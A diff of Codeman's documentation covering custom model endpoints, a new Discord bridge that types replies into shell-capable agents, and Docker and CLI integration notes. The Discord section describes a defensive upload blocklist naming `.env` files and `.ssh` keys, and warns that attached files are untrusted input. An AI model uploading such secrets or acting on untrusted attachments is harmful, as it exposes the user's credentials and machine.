-**Context length is discovered too, opportunistically and safely.** The plain
-`GET /v1/models` response has no context-window field. Discovery only ever
-looks for one for a model llama-swap's own response already reports
+**Context length is discovered too, opportunistically and safely.** Older
+servers state no context-window field in the plain `GET /v1/models`
+response at all; current llama-swap states one per model (both
+`context_length` and `context_window`) and gateways like Bifrost pass
+`context_window` through: that listed figure is the *lowest*-precedence
+source, used only when neither probe below answers, and because llama-swap
+documents it as the PER-SLOT window, a model whose figure comes from the
+listing is recorded with a slot count of 1 so the slot check never divides a
+per-slot figure a second time. The probes are only ever looked for on a model
+llama-swap's own response already reports
 `status.value === "loaded"` for — never for an unloaded one, because
 llama-swap treats `?model=` as a routing hint and asking about a model that
 isn't loaded risks triggering an actual (slow, GPU-swapping) load as a side
 effect of what should be read-only discovery. A server with no `status` field
-on any entry at all (not llama-swap) gets no context-length enrichment,
-rather than guessing. A model's previously-learned context length survives a
+on any entry at all (not llama-swap) gets no launch-command/`/props`
+enrichment, only whatever its listings state, rather than guessing. A
+model's previously-learned context length survives a
 later cycle where it wasn't the loaded one; it's dropped only once the model
 disappears from the endpoint's list entirely. Stored per model in
 `modelContextLengths` and applied automatically (see "Applying a model to a
@@ -192,32 +200,66 @@ saved default, not just confirming it.
 
 The modal promotes exactly one row to the top of the list rather than
 always showing raw discovery order, so the zero-wait choice is the one
-under your thumb:
+under your thumb. Three kinds of knowledge feed that promotion, best
+evidence first, and the first one that answers wins:
 
-- **"Currently loaded"** — a model from this host's own list that
+- **"Currently loaded"** is a model from this host's own list that
   llama-swap reports `ready` right now, queried via
   `GET /api/model-endpoints/:id/running-status`. Bounded client-side to
   ~800ms (`Promise.race`), on top of the route's own 5s server-side
   timeout, so an endpoint that is asleep or firewalled cannot leave the
   modal invisible for the full 5s after the Run menu has already closed.
-- **"Last used"** — shown only when nothing is currently loaded: the model
-  actually launched last for this exact (harness, endpoint) pair, read
-  from the per-device `codeman:customModelLastUsed:<mode>:<endpointId>`
-  localStorage key. Written by `_runCustomModelEntryViaRestart` (claude)
-  and `_quickStartWithCustomModelConfirm` (every one-shot launch; the
+- **"In use by a session"** is the fallback for every endpoint that
+  cannot report its own loaded model, which is every server except
+  llama-swap: a bare llama.cpp, Ollama, vLLM, and a gateway such as
+  Bifrost fronting a whole fleet all answer `isLlamaSwap: false`.
+  `_getCustomModelInUseBySession` walks `this.sessions` for one of your own
+  sessions whose `customModel.endpointId` is this host, newest
+  `createdAt` wins, and promotes its model. A live session is first-hand
+  evidence of a model in use on the endpoint, because Codeman put it
+  there, so it earns the promotion and the tag says where the knowledge
+  came from. Two fences keep it honest: it reads only `customModel`,
+  never `displayModel` (display text scraped off a CLI footer, so a
+  terminal that merely printed a similar string must not mark a row),
+  and a session with `status: 'stopped'`, a null `pid` (its PTY exited,
+  the same live-pane test keep-warm applies) or a recorded `paneExit`
+  does not count, since nothing is on the endpoint any more. Sessions on other
+  endpoints, and models the host no longer discovers, are skipped.
+- **"Last used"** appears only when neither of the above answers: the
+  model actually launched last for this exact (harness, endpoint) pair,
+  read from the per-device localStorage key
+  `codeman:customModelLastUsed:<mode>:<endpointId>`. That key is per CLI
+  on purpose, so it can only
+  ever promote the CLI that launched there before, which is why a gateway
+  box with no session running shows plain discovery order for the other
+  CLIs. Written by `_runCustomModelEntryViaRestart` (claude) and
+  `_quickStartWithCustomModelConfirm` (every one-shot launch; the
   `runCustomModelEntry` entry point itself only dispatches between the
-  two) only once the model is actually applied, never on the mere click —
+  two) only once the model is actually applied, never on the mere click:
   declining the context-window warning means this exact model cannot work
-  with this CLI at all, so promoting it next time would be actively wrong,
-  not just premature.
+  with this CLI at all, so promoting it next time would be actively
+  wrong, not just premature.
 
-Neither tag reorders anything past that one promoted row. The "Default"
+No promotion reorders anything past that one promoted row. The "Default"
 pill is a separate span, not a third value of the same slot: a promoted
 row that is also the endpoint's `defaultModelId` shows both tags (on a
 single-purpose GPU box that is the common case, and an exclusive slot
 silently dropped the Default marking for exactly that row), and a row
 with neither promotion nor default shows no tag at all.
 
+When nothing is known about any row, `#customModelPickUnknown` says so
+out loud instead of leaving an alphabetical wall that reads as the app
+ignoring the question. It shows when the probe answered
+`isLlamaSwap: false`, which the route gives for every failure it
+catches, so one answer covers a server that cannot report and an
+endpoint that is down or refused alike; the line's wording therefore
+claims only that nothing was reported. A probe that never got any
+answer (`_getCustomModelRunningStatus` resolving `null`, Codeman's own
+request failed or the client-side bound won) keeps the line hidden.
+Like its sibling no-matches line it needs an
+explicit `[hidden]` rule scoped to `#customModelPickModal`, because
+`.form-hint`'s `display: block` outranks the UA `[hidden]` rule.
+
 **How the launch itself applies the endpoint depends on the harness.** For
 opencode, Codex, Gemini, Pi, Grok, DeepSeek and OMP (`runCustomModelEntry` →
 `_runCustomModelEntryOneShot`), the endpoint/model is folded into the SAME
@@ -286,6 +328,15 @@ hot-swap. A Claude session is relaunched with `--resume <conversation> ||
 grok are relaunched with the `--model` value that selects the injected
 provider (`custom/<modelId>` for pi and omp, `codeman-custom` for grok),
 since for those three the config file alone does not switch the model.
+**Codex is relaunched with `--model <modelId>` too**, the bare selected id
+(not a provider selector): the launch param forces the session onto the
+model its generated `config.toml` already selected, so a launch-time model
+carried over from App Settings can never override the injected selection.
+That launch arg must satisfy the codex entry's `model-plain-colon` token
+pattern (a leading letter or digit, then letters, digits and `._-:/`, per
+`stock.ts`), so an id outside that shape, e.g. LM Studio's
+`org/model@q4_k_m`, is refused with a 400 at apply time now, where a
+`config.toml` alone used to carry it.
 **Remote (SSH) and Docker sessions are refused** (400) for now: their restart
 reattaches the durable remote/in-container tmux rather than relaunching the
 agent, so the selection would report success and change nothing.
@@ -293,14 +344,16 @@ agent, so the selection would report success and change nothing.
 **Claude gets two more env vars when known/applicable, both declared on its
 registry entry (`contextLengthVar`/`configDirVar`), not hardcoded here:**
 
-- `CLAUDE_CODE_MAX_CONTEXT_TOKENS` is set to `modelId`'s discovered context
-  length (see the discovery section above) whenever one is known. Without
+- `CLAUDE_CODE_MAX_CONTEXT_TOKENS` is set to `modelId`'s context length:
+  the discovered figure (see the discovery section above), falling back to
+  the endpoint's user-set `defaultContextLength`, whenever one is known.
+  Without
   it, Claude Code assumes a large (200k) window for any unrecognized custom
   model id and never compacts, which reliably overflows a much smaller real
   local context — confirmed live: a stock ~33.7K-token system prompt against
   a 16384-token llama-swap model failed with `exceeds the available context
-size`. No entry for the model in `modelContextLengths` means the var is
-  simply omitted, never a guess. ⚠️ **This var only affects when Claude
+size`. Neither a `modelContextLengths` entry nor a `defaultContextLength`
+  for the model means the var is simply omitted, never a guess. ⚠️ **This var only affects when Claude
   Code compacts conversation _history_ — it cannot fix a model whose real
   context is smaller than Claude Code's own fixed per-turn overhead**
   (system prompt + tool schemas, empirically ~36.4K tokens, confirmed live
@@ -331,7 +384,10 @@ size`. No entry for the model in `modelContextLengths` means the var is
   included), user-level agents and commands, and the MCP servers configured
   in `~/.claude.json` — none of those are symlinked back, only `projects` is.
   A fine trade for "point this session at my local llama.cpp," but worth
-  knowing before it surprises you mid-session.
+  knowing before it surprises you mid-session. A session on its own
+  `CLAUDE_CONFIG_DIR` links `projects` from that directory instead, so its
+  conversation, and what the endpoint run adds to it, stay on its own account
+  across an apply and a clear.
 
 **That isolated directory needed one more fix to actually be usable
 non-interactively.** An otherwise-empty `CLAUDE_CONFIG_DIR` has none of a
@@ -441,15 +497,17 @@ Both apply routes (the restart route and the one-shot `POST
 /api/quick-start`) now check for this **before** launching or restarting
 anything, gated on the CLI's registry entry declaring a `contextLengthVar`
 (currently only claude — the check is a no-op for every other CLI by
-construction, never a hardcoded mode check). If the model's discovered
-context (`modelContextLengths`, from discovery above) is below
-`CLAUDE_MIN_SAFE_CONTEXT_TOKENS` (40000, comfortably above the measured
+construction, never a hardcoded mode check). If the model's context (the
+discovered figure from `modelContextLengths`, or the endpoint's
+`defaultContextLength` when discovery never learned one for that model) is
+below `CLAUDE_MIN_SAFE_CONTEXT_TOKENS` (40000, comfortably above the measured
 ~36.4K overhead), the response is `{requiresContextWarning: true, modelId,
 contextLength, minSafeContextTokens}` (plus `slotCount` when the model runs more than one parallel slot) instead of applying — nothing is
-restarted or created yet. A context length that was never discovered at
-all skips the check entirely (nothing to compare, so it fails open rather
-than warning on every model an endpoint hasn't reported a size for).
-The same warning fires when the context divided across the model's parallel slots (`contextLength / slotCount`) is below the floor, because Claude Code sends several 40K-token requests at once and the slots share one pool. Retrying with `confirmedContext: true` launches anyway (the legacy `confirmed: true` still means both questions).
+restarted or created yet. A model with neither a discovered figure nor a
+`defaultContextLength` skips the check entirely (nothing to compare, so it
+fails open rather than warning on every model an endpoint hasn't reported a
+size for).
+The same warning fires when the context divided across the model's parallel slots (`contextLength / slotCount`) is below the floor, because Claude Code sends several 40K-token requests at once and the slots share one pool. ⚠️ `defaultContextLength` is the model's whole window, never a per-slot figure, so a default small enough to split under the slot count trips that slot division exactly like a discovered figure does. Retrying with `confirmedContext: true` launches anyway (the legacy `confirmed: true` still means both questions).
 
 The Run-menu picker shows this as an in-app modal
 (`#customModelContextWarningModal`, matching the llama-swap conflict
@@ -480,13 +538,26 @@ id, model and injected key NAMES are persisted, the values are re-derived
 from the endpoint store on recovery, and the pane keeps running against the
 endpoint in between because tmux retains its environment.
 
-⚠️ Clearing removes injected keys **by name**, and `CLAUDE_CONFIG_DIR` is one
-of the names claude's selection injects — so a session that ALSO had
-`CLAUDE_CONFIG_DIR` set through the generic `envOverrides` field (the
-per-client-account case) loses that override on clear too, and silently
-falls back to the server's default Claude account. If you route a session
-to a specific account this way, re-apply the override after clearing a
-custom-model selection from it.
+A value the session set itself under an injected key comes back when the
+selection goes, on a clear or a switch to another endpoint. That is what
+keeps a session on its own `DSH_HOME`, `CODEX_HOME` or `GROK_HOME`, and on
+its own account through `CLAUDE_CONFIG_DIR` (the per-client-account case).
+
+⚠️ Across a Codeman restart only the home directory comes back, and only as
+an absolute path. The selection overwrote the tmux `setenv` that held it, so
+its record in `state.json` keeps that one path (`ownEnv`), and a non-granted
+owner loses it at recovery like any other privileged override. Any other own
+value can be a credential and stays in memory: a session that set its own
+`GEMINI_API_KEY`, picked an endpoint and then outlived a restart falls back to
+the server's key on clear. A selection saved by an older build has no such
+record, so its first clear still falls back to the server's default.
+
+⚠️ That record only exists when the selection was made before the restart. An
+own `DSH_HOME`, `CODEX_HOME` or `GROK_HOME` on a session with no selection is
+not persisted at all (a session's overrides keep only `CLAUDE_CODE_*` and
+`CLAUDE_CONFIG_DIR`), so a Codeman restart leaves nothing to record: an
+endpoint picked after it, and cleared later, falls back to the server's
+default. `CLAUDE_CONFIG_DIR` does not have this gap.
 
 **New sessions always default back to the harness's native backend.** A
 custom-endpoint selection is a per-session choice, never a sticky global
@@ -526,7 +597,12 @@ for '<id>' not found. Defaulting to fallback metadata...` on launch —
   and fabricating a fake catalog entry would mean copying the _shape_ of
   OpenAI's own proprietary schema (their per-model system-prompt content
   included) for a warning that doesn't otherwise affect behavior — not
-  something to build into discovery.
+  something to build into discovery. ⚠️ The fallback-metadata warning is
+  NOT about the context window going un-overridden. Codex does now get a
+  real context-window override: when a figure is known the generated
+  `config.toml` sets the top-level `model_context_window` to it and
+  `model_auto_compact_token_limit` to 75% of it (floored), so Codex
+  compacts at that point instead of trusting its fallback guess.
 - **Gemini** — fails with `Invalid auth method selected`, traced to an
   undocumented `GATEWAY` auth path gemini-cli selects once
   `GOOGLE_GEMINI_BASE_URL` is set. Unresolved after real investigation
@@ -541,14 +617,40 @@ for '<id>' not found. Defaulting to fallback metadata...` on launch —
   `POST <baseUrl>/chat/completions` 404s against llama-swap while
   `POST <baseUrl>/v1/chat/completions` succeeds; the harness's own error
   template (`DeepSeek API error (HTTP ${status})`) matches the originally
-  reported symptom exactly. `customModelInjection`'s new `appendV1Suffix`
-  (deepseek's entry only — claude/gemini must NOT get it, since claude was
-  already confirmed working against the raw `baseUrl`) fixes it by writing
-  `DEEPSEEK_BASE_URL` with `/v1` appended. Not yet re-run end-to-end with a
-  real `dsh` binary (no install available in this environment) — the fix
-  is source-confirmed and live-verified at the HTTP level, but a real
-  "hello world" reply through `dsh` itself is still outstanding before
-  calling this fully verified like the harnesses above.
+  reported symptom exactly. The fix is no longer the original env redirect:
+  deepseek's `customModelInjection` is a `configDir` recipe: a per-session
+  `DSH_HOME` holding only a generated `cordis.patch.yml` that declares a
+  `codeman-custom` `openai-completions` provider (the base URL gets the `/v1`
+  suffix from the shared `renderConfigFile` step every file template goes
+  through), so the installed profile keeps supplying the transport; the
+  recipe's `linkFromRealHome` field symlinks `profiles`, `sessions` and
+  `settings.yaml` back out of the real dsh home so installed bundles,
+  transcripts and user settings all survive the redirect (missing
+  directory entries are created first: a home that has never run a
+  turn would otherwise get a dangling link whose every write through
+  it failed with ENOENT). **Verified end-to-end against a real dsh
+  install by the maintainer** (dsh 0.1.1-rc.2, dsh-TUI 0.10.0-beta.1):
+  `--dump-config` shows the three patched rows, the TUI boots on the
+  chosen model, and a prompt reaches the endpoint as
+  `POST /v1/chat/completions` with the right model, the bearer key and
+  `max_tokens: 8192`; the reply renders and the context window shows in
+  the footer. What such a session SHARES with the real home is
+  exactly the linked entries: `profiles/`, `sessions/`,
+  `settings.yaml`. The last is shared only until the session writes
+  it: dsh saves settings with a temp file and a rename
+  (`writeFileAtomic` in `@deepseek-ai/dsh-atomic-write`), which replaces
+  the symlink, so the first `/settings` change inside such a session
+  never reaches `~/.dsh/settings.yaml` and is deleted with the session's
+  directory on clear or close. Everything else in the generated `DSH_HOME` is
+  isolated: `storages/` (dsh-TUI's persisted `/model` choice and
+  workspace state), `.agent-presets` and `.env`. Two consequences of
+  the generated home-level file follow: the user's own home-level
+  `cordis.patch.yml` does NOT apply in such a session (the generated
+  file replaces it; profile-level patch files reached through the
+  linked `profiles/` still compose), and the generated patch REPLACES
+  the `llm-pi-ai` provider row's whole `config` for the session. Note
+  too that it likewise REPLACES the `dsh-tui` row's whole `config`, so
+  a profile-level `effort`/`preset` does not apply.
 - **Antigravity** — no known custom-endpoint mechanism at all; unsupported.
 
 See the confidence table in `custom-model-endpoints-plan.md` for the full detail behind

docs/discord-bridge.md

@@ -0,0 +1,137 @@
+# Discord bridge
+
+Codeman can post to a private Discord server when a session needs you, give every tab its own thread, and type your thread reply into that tab. It only makes outbound connections, so Codeman is not exposed to the internet and it works when you are away from your network.
+
+> [!WARNING]
+> A reply from an allowed Discord account is typed into agents that can run shell commands. Treat that Discord account like a login to the machine: turn on 2FA and use a strong, unique password.
+
+## What it does
+
+- Posts when a session asks for permission, asks a question, goes idle or errors. Which of these a CLI can raise depends on the hooks it has: Claude Code sends a turn end (`stop`, an `info` event that posts only when **Which events** is set to Everything, and `idle_prompt`, which posts by default after the turn has waited a minute). DeepSeek Harness sends only `stop`. Codex, OMP, OpenCode, Gemini, Antigravity, Pi, Grok and Copilot send no turn end, so they reach Discord through an error, a blocked respawn, a stopped crash loop or their own `codeman notify`; Codex's permission and question dialogs are also read off its screen.
+- Posts a finished turn, and an error or blocked alert, as the CLI's whole last message, with its bold, lists and numbered questions kept (a Markdown table, which Discord cannot draw, becomes an aligned code block), split over several posts if it is long. It reads the CLI's transcript where it keeps one (Claude Code, Codex, DeepSeek Harness, OMP) and otherwise splits the screen into turns (OpenCode, Gemini, Antigravity, Pi, Grok, Copilot), which can start mid-message when a long answer has scrolled off. A shell, and a permission or question dialog, show the last lines of the screen instead, without the prompt row and status lines under them.
+- Creates one thread per tab in a single parent channel, so a reply always reaches exactly one session.
+- Types your reply into that session as a single line followed by Enter. A single digit sent while a permission or question is waiting goes as the key alone, without Enter, because the dialog acts on the keypress.
+- Lets a CLI post a deliberate message (for example "press the reset button on the case") with the `codeman notify` command, which calls `POST /api/sessions/:id/discord-notify`. Each tab may post 6 a minute; past that the command says "too many messages", so a looping agent cannot ping your phone without end.
+- Saves files you attach in a thread into that tab's working folder and tells the CLI the path. A CLI can send a file back with `codeman notify "message" --file <path>`.
+- Tells each CLI about `codeman notify` (see [Telling the CLIs](#telling-the-clis)).
+
+## Setup
+
+Do these once, in order. Never paste the bot token into a chat or a session.
+
+### 1. Create a private server
+
+1. In Discord choose **Add a Server**, **Create My Own**, **For me and my friends**.
+2. Invite nobody and create no invite links.
+3. Create one text channel, for example `#codeman-cli`.
+
+### 2. Copy the IDs
+
+1. Open **User Settings**, **Advanced** and turn on **Developer Mode**.
+2. Right-click the server, the channel and your own avatar, and choose **Copy ID** for each. You need the guild ID, the parent channel ID and your user ID.
+
+### 3. Create the application
+
+1. Go to <https://discord.com/developers/applications> and choose **New Application**.
+2. Name it `Codeman`.
+
+### 4. Configure the bot
+
+On the **Bot** tab:
+
+1. Choose **Reset Token** and copy it. It is shown once.
+2. Turn **Public Bot** off, so nobody else can add it. Discord refuses this while the app has a default install link, so first open the **Installation** tab, set **Install Link** to **None** (untick Guild Install and User Install if it will not save) and save, then come back here.
+3. Leave **Requires OAuth2 Code Grant** off.
+4. Under **Privileged Gateway Intents** turn **Message Content Intent** on. Leave **Server Members Intent** and **Presence Intent** off.
+
+### 5. Invite the bot with minimal permissions
+
+On **OAuth2**, **URL Generator**:
+
+1. Tick the scope `bot` only. Do not tick `applications.commands` or anything else.
+2. Tick only these permissions (Attach Files and Embed Links are optional: without them, files cannot be sent from a CLI and links show no preview):
+
+   | Permission               | Why                                  |
+   | ------------------------ | ------------------------------------ |
+   | View Channels            | See the parent channel               |
+   | Send Messages            | Post in the parent channel           |
+   | Send Messages in Threads | Post in each tab's thread            |
+   | Create Public Threads    | Make a thread per tab                |
+   | Read Message History     | Read your replies                    |
+   | Add Reactions            | Acknowledge a reply that was typed   |
+   | Attach Files             | Send a file from a CLI to the thread |
+   | Embed Links              | Show previews for links in posts     |
+
+3. Open the generated URL, choose your private server and authorise.
+4. Check the **Installation** tab still shows **Install Link: None**, so there is no public way to add the bot.
+
+The ticked boxes are the source of truth. As a cross-check, these eight permissions add up to the permissions integer `309237763136`.
+
+### 6. Optional: allow deleting threads
+
+Only needed for `onSessionDelete: delete`. Give the bot role **Manage Threads** on the parent channel only, as a channel permission override and not server-wide. Skip this if you are happy to keep or archive threads.
+
+### 7. Never grant
+
+Administrator, Manage Channels, Manage Roles, Manage Messages, Mention Everyone, or any voice permission.
+
+### 8. Configure Codeman
+
+1. Open **Settings**, **Notifications**, then the **Discord** group.
+2. Enter the bot token, guild ID, parent channel ID and your user ID in the allowlist.
+3. Choose the options below and press **Send test**. A test message should appear in the channel.
+
+The token is stored in `~/.codeman/discord.json` with mode 0600. It is never returned by the API, written to logs or sent over SSE.
+
+### 9. Phone alerts
+
+In the Discord mobile app set the server to **All Messages**. Discord's own push notification is what reaches you off-network.
+
+## Options
+
+| Option            | Values                      | Default     | Effect                                                                                                                                                                                                                                                                                                                                                                                                                                            |
+| ----------------- | --------------------------- | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `threadCreation`  | `lazy`, `onSessionStart`    | `lazy`      | `lazy` makes a thread on the first notification. `onSessionStart` makes one per new tab                                                                                                                                                                                                                                                                                                                                                           |
+| `onSessionDelete` | `keep`, `archive`, `delete` | `archive`   | What happens to the thread when its tab is deleted. `delete` needs Manage Threads                                                                                                                                                                                                                                                                                                                                                                 |
+| `staleThreads`    | `keep`, `archive`, `delete` | `keep`      | What happens to threads this bot made that no tab uses any more, checked after startup and then daily. A deleted tab's thread leaves the map, so this also archives or deletes threads that `onSessionDelete` kept or archived. Skips threads under an hour old, other people's threads and other channels, does nothing while the thread map is empty, and closes at most 25 per run. `delete` needs Manage Threads. Use one channel per Codeman |
+| `pingMode`        | `off`, `critical`, `all`    | `critical`  | `critical` pings you for permission prompts, questions, errors and urgent posts                                                                                                                                                                                                                                                                                                                                                                   |
+| `scope`           | `attention`, `all`          | `attention` | `attention` skips the quiet "response complete" event. `all` sends it too                                                                                                                                                                                                                                                                                                                                                                         |
+| `startupHint`     | on, off                     | on          | Tell Claude about `codeman notify` in its system prompt at launch                                                                                                                                                                                                                                                                                                                                                                                 |
+
+## Telling the CLIs
+
+A CLI only posts deliberately if it knows it can. While the bridge is on:
+
+- **Claude** (`startupHint`, on by default) is launched with `--append-system-prompt`, so nothing shows in the conversation. This reaches local tabs only: remote (ssh) and Docker launches are built outside the CLI registry, and have no `codeman` command anyway.
+- **Every other CLI** is sent nothing: there is no silent way to tell it, and typing the note as a message would cost a model turn per tab. It can still run `codeman notify` if you tell it to.
+
+The text explains `codeman notify "message" --urgent`. `codeman` is on the PATH of every session from the installer or an npm install (a git checkout run without the installer has no `codeman` command) and reads `CODEMAN_SESSION_ID` and `CODEMAN_API_URL`, so no other setup is needed. Without a bridge it prints that the bridge is off and exits cleanly. Tabs started before the bridge was enabled are not told; use the skill or `CLAUDE.md` for those.
+
+## Files
+
+- **Received:** files you attach to a reply from an allowed user are saved as `<working folder>/.codeman-discord/<message id>-<name>` (mode 0600) and the one-line reply the CLI sees ends with `[attached: <paths>]`. At most 5 files of 8 MB each; names are reduced to letters, digits, `.`, `_` and `-`; only Discord's own HTTPS addresses are fetched. Anything skipped is named in the thread. The folder ignores itself (it holds a `.gitignore` of `*`), so nothing in it is committed. Remote (ssh) tabs have no local folder, so no file is saved for them.
+- **Sent:** `codeman notify "message" --file <path>` uploads a regular file of at most 8 MB. The real path (symlinks followed) must be inside the tab's working folder, and a file on the attachment blocklist (`.env`, keys under `.ssh`, Codeman's own state) is refused even there, which stops an upload of something sensitive by mistake. The agent runs as your user, so this is a guard against accidents, not a sandbox. Remote tabs cannot send files.
+- A downloaded file is untrusted content: only allowed users can send one, but a CLI that opens it is exposed to anything written inside it.
+
+## Security model
+
+- Only messages from IDs in `allowedUserIds`, in the configured guild, inside a thread Codeman created, are acted on. Everything else is dropped.
+- A reply is reduced to one line, stripped of control characters and capped in length before it is typed.
+- Replies are rate limited per session.
+- A Discord outage or a bad token never affects sessions. The bridge backs off, and the last error shows in Settings.
+
+## Rotating and revoking
+
+- **Rotate:** in the Developer Portal choose **Bot**, **Reset Token**, paste the new token into Codeman and press **Send test**.
+- **Revoke:** kick the bot from the server or delete the application, then choose **Remove token** in Settings. Deleting `~/.codeman/discord.json` alone does not reach a running bridge, which keeps the token it loaded until Codeman restarts.
+- If the token is ever pasted somewhere it should not be, reset it straight away.
+
+## Troubleshooting
+
+| Symptom                             | Check                                                                    |
+| ----------------------------------- | ------------------------------------------------------------------------ |
+| Test fails with 401                 | The token is wrong or was reset. Paste the current one                   |
+| Test fails with 403 or 50001        | The bot cannot see the parent channel. Check the role and the channel ID |
+| Posts arrive but replies do nothing | Message Content Intent is off, or your user ID is not in the allowlist   |
+| Thread is not deleted               | The bot lacks Manage Threads on the parent channel                       |
+| Nothing arrives on the phone        | Check the Discord app's notification setting for the server              |

docs/docker-cases.md

@@ -121,6 +121,13 @@ curl -X POST localhost:3000/api/quick-start -d '{"caseName":"sandbox","mode":"cl
 
 ## Attach to a container you already run
 
+⚠️ Two different things are called "adopted". This section is about a CONTAINER
+(`DockerCase.owned === false`). A tmux SESSION a human started inside a container is
+listed by `GET /api/mux/foreign?docker=1` and wrapped by `POST /api/sessions/adopt`, for
+which the container needs a Docker case but no adoption of its own. That one is
+`Session.isAdopted`, with the connection on `Session.adopt.docker` and `session.docker`
+undefined. See `docs/architecture-invariants.md#adopted-foreign-tmux-sessions`.
+
 The tab's **Attach to an existing container** toggle points a case at a container **you**
 built and run. Codeman only ever `docker exec`s into it: it never creates, starts, stops,
 restarts or removes it, and it seeds no credentials into it, so the CLIs inside must already
@@ -202,7 +209,7 @@ The host-gateway mapping, `CODEMAN_API_URL` derivation, host-guard allowlist, an
 ## Notes & limits
 
 - Requires Docker (or Podman) with a reachable daemon; tmux must be present in the base image (a hard prerequisite, probed at link time).
-- Per-session `envOverrides` / `effort` / per-CLI config are rejected for docker cases (they do not cross into the container); configure the container via the docker host's per-mode command override instead.
+- Per-session `envOverrides` / `effort` / per-CLI config are rejected for docker cases (they do not cross into the container); configure the container via the docker host's per-mode command override instead. A `$` in that override expands inside the container, never on this host, and a bare `$VAR` in `extraCreateArgs`/`extraExecArgs` reaches `docker` as those literal characters, so write the value out.
 - macOS Docker Desktop takes a dedicated uid path (the baked image uid; memory caps are subject to the VM ceiling).
 
 Design + rationale: [`docker-cases-plan.md`](./docker-cases-plan.md).

docs/docker-compose.md

@@ -12,14 +12,25 @@ It can also include the GitHub CLI (`gh`) and the Azure CLI (`az`) with the `azu
 
 ## Prerequisites
 
-- Docker Engine or Docker Desktop with Docker Compose v2
-- A reachable Docker daemon
+- Docker Engine or Docker Desktop with the Docker Compose v2 plugin, version 2.27.2 or newer
+- A reachable Docker daemon, usable by your account without sudo (on Linux, membership of the `docker` group)
 
 The application container mounts the Docker daemon socket so Codeman can create and manage its isolated Docker cases. Treat anyone who can administer this Compose project as having Docker-host-equivalent access.
 
 ## Start
 
-Copy the environment template, set a strong password, and confirm `CODEMAN_APPDATA_PATH`. The example maps `/mnt/user/appdata/codeman` on the host to `/home/${CODEMAN_RUNTIME_USER}` in the container, preserving Codeman state and CLI credentials outside Docker-managed volumes.
+On Linux, clone the repository and run the start script:
+
+```sh
+git clone https://github.com/Ark0N/Codeman.git && cd Codeman
+bash docker/Start-Codeman.sh
+```
+
+The first run checks Docker, Compose and the daemon, then asks for a data folder (default `~/codeman-docker`), a port (default 3000, or the next free one) and a password (Enter generates one, shows it on your terminal and keeps it in `docker/.env`). It writes `docker/.env` from `docker/.env.example`, builds the image, starts the container and waits until Codeman answers, then prints the URL and how to sign in. `--yes` takes every default without asking, and `--setup-only` writes `docker/.env` and stops so it can be reviewed first. The full description, including the options, is the Start section of the [Docker deployment guide](../docker/README.md#start).
+
+The data folder is mounted at `/home/${CODEMAN_RUNTIME_USER}` in the container, so Codeman state and CLI credentials stay on the host outside Docker-managed volumes. On every start the script determines `PUID` and `PGID` from the owner of that folder, and `DOCKER_SOCKET_GID` from the configured Docker socket, before invoking Compose. A root-owned data folder is rejected so the runtime account cannot become UID 0.
+
+To write `docker/.env` by hand instead (Unraid and other root-only hosts, or Compose without the script), copy the template, set a strong password, and confirm `CODEMAN_APPDATA_PATH`. The example value `/mnt/user/appdata/codeman` is an Unraid layout.
 
 ```sh
 cp docker/.env.example docker/.env
@@ -31,12 +42,6 @@ On PowerShell, use the following command instead.
 Copy-Item docker/.env.example docker/.env
 ```
 
-On Linux, run the stack with the start script. It determines `PUID` and `PGID` from the owner of `CODEMAN_APPDATA_PATH`, and `DOCKER_SOCKET_GID` from the configured Docker socket, before invoking Compose. A root-owned application-data directory is rejected so the runtime account cannot become UID 0.
-
-```sh
-bash docker/Start-Codeman.sh
-```
-
 On other platforms, run Compose directly. `PUID` and `PGID` default to `1000:1000`; set them in `docker/.env` when the application-data directory has a different owner. Naming the file with `-f` disables Compose's own discovery of `docker/docker-compose.override.yml`, so add a second `-f` for it when you keep one (see `docker/README.md`, Local customisation).
 
 ```sh
@@ -45,7 +50,7 @@ docker compose --env-file docker/.env -f docker/docker-compose.yaml up --build -
 
 The container starts as root, corrects the ownership of a bind source the daemon had to create, and drops to `PUID:PGID` with `setpriv` before Codeman starts; the capabilities that needs are declared in `docker/docker-compose.yaml` and named by the entrypoint when a compose file written elsewhere lacks them.
 
-Open `http://localhost:3000` and sign in with the username and password from `docker/.env`.
+Open the URL the script printed (`http://localhost:3000` by default) and sign in with the username and password from `docker/.env`.
 
 ## Operations
 

docs/grok-integration.md

@@ -114,7 +114,7 @@ history.
 ## Remote SSH cases
 
 `grok` mode is routed through an interactive login shell
-(`exec "$SHELL" -i -l -c 'grok'`), because sshd's remote-command PATH does not include
+(`remoteLoginShellCommand('grok')`), because sshd's remote-command PATH does not include
 `~/.grok/bin`. Per-session config and `envOverrides` do not cross ssh and are rejected
 rather than silently ignored; use the per-host command override instead. For auth on
 the remote host, `grok login --device-auth` exists for exactly this.

docs/omp-integration.md

@@ -149,7 +149,7 @@ shared nor seeded.
 ## Remote SSH cases
 
 `omp` mode is routed through an interactive login shell
-(`exec "$SHELL" -i -l -c 'omp'`), because sshd's remote-command PATH does not
+(`remoteLoginShellCommand('omp')`), because sshd's remote-command PATH does not
 include `~/.local/bin`. Per-session config and `envOverrides` do not cross ssh and are
 rejected rather than silently ignored; use the per-host command override instead.
 

docs/pi-integration-plan.md

@@ -2,6 +2,12 @@
 
 Tracking issue: [#206 "Plans to support pi.dev?"](https://github.com/Ark0N/Codeman/issues/206)
 
+**SUPERSEDED in part (PR #771, 2026-11):** what this record says about pi's default screen and
+the strips no longer holds. Fullscreen became pi's default in 1.0.0, and pi now takes the mouse
+strip (`altScreen: 'strip-mux-and-mouse'`). Each affected passage carries a SUPERSEDED note;
+current behaviour is in `docs/pi-integration.md` and the "Pi is the same shape" paragraph of
+`docs/architecture-invariants.md`.
+
 Status: **IMPLEMENTED 2026-08-13** (see `docs/pi-integration.md` for the user-facing
 guide). Everything below is the design record; the open questions were resolved
 empirically against pi 0.84.1 and the answers are recorded inline as **RESULT**
@@ -29,7 +35,7 @@ against the upstream docs in `packages/coding-agent/docs/`.
 | Config dir       | `~/.pi/agent` (override: `PI_CODING_AGENT_DIR`). Holds `auth.json`, `trust.json`, `settings.json`, `models.json` (user-defined providers), `models-store.json` (cached catalogs), `keybindings.json`, `extensions/`, `skills/`, `prompts/`, `themes/`, `AGENTS.md`, `SYSTEM.md`, and the package trees `npm/` + `git/` |
 | Sessions         | `~/.pi/agent/sessions/--<cwd with / replaced by ->--/<timestamp>_<uuid>.jsonl`, tree-structured (`id`/`parentId`), format v3. Overrides: `PI_CODING_AGENT_SESSION_DIR`, `--session-dir` |
